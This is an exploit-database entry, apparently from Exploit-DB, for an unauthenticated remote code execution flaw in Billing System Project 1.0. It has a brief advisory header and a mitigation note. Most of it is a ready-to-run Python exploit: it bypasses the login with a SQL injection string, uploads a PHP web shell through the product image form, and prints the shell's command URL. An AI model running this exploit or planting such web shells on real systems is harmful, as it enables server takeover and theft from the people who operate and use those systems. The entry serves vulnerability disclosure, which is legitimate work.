Billing System Project 1.0 - Remote Code Execution (RCE) (Unauthenticated)

vendor:

Billing System Project

by:

Talha DEMİRSOY

9,8

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Billing System Project

Affected Version From: V 1.0

Affected Version To: V 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux & Windows

2021

Billing System Project 1.0 – Remote Code Execution (RCE) (Unauthenticated)

An unauthenticated remote code execution vulnerability exists in Billing System Project 1.0. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application. Use a web application firewall to detect and block malicious requests.

Source

Exploit-DB raw data:

# Exploit Title: Billing System Project 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 06.07.2021
# Exploit Author: Talha DEMİRSOY
# Software Link: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html
# Version: V 1.0
# Tested on: Linux & Windows

import requests
import random
import string
from bs4 import BeautifulSoup

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
randstr = ''.join(random.choice(let) for i in range(15))

payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd =
($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

url = input("Target : ")

session = requests.session()

reqUrl = url + "login.php"
reqHead = {"Content-Type": "application/x-www-form-urlencoded"}
reqData = {"username": "admin' or '1'='1'#", "password": "-", "login": ''}
session.post(reqUrl, headers=reqHead, data=reqData)

print("Shell Uploading...")

reqUrl = url + "php_action/createProduct.php"
reqHead = {"Content-Type": "multipart/form-data;
boundary=----WebKitFormBoundaryOGdnGszwuETwo6WB"}
reqData =
"\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"currnt_date\"\r\n\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data; name=\"productImage\";
filename=\""+shellname+".php\"\r\nContent-Type:
application/octet-stream\r\n\r\n"+payload+"\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"productName\"\r\n\r\n"+randstr+"_TalhaDemirsoy\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"quantity\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"rate\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"brandName\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"categoryName\"\r\n\r\n2\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"productStatus\"\r\n\r\n1\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB\r\nContent-Disposition:
form-data;
name=\"create\"\r\n\r\n\r\n------WebKitFormBoundaryOGdnGszwuETwo6WB--\r\n"
session.post(reqUrl, headers=reqHead, data=reqData)

print("product name is "+randstr)
print("shell name is "+shellname)

reqUrl = url + "product.php"
data = session.get(reqUrl)

parser = BeautifulSoup(data.text, 'html.parser')
find_shell = parser.find_all('img')

for i in find_shell:
    if shellname in i.get("src"):
        print("Shell URL : " + url  + i.get("src") + "?cmd=whoami")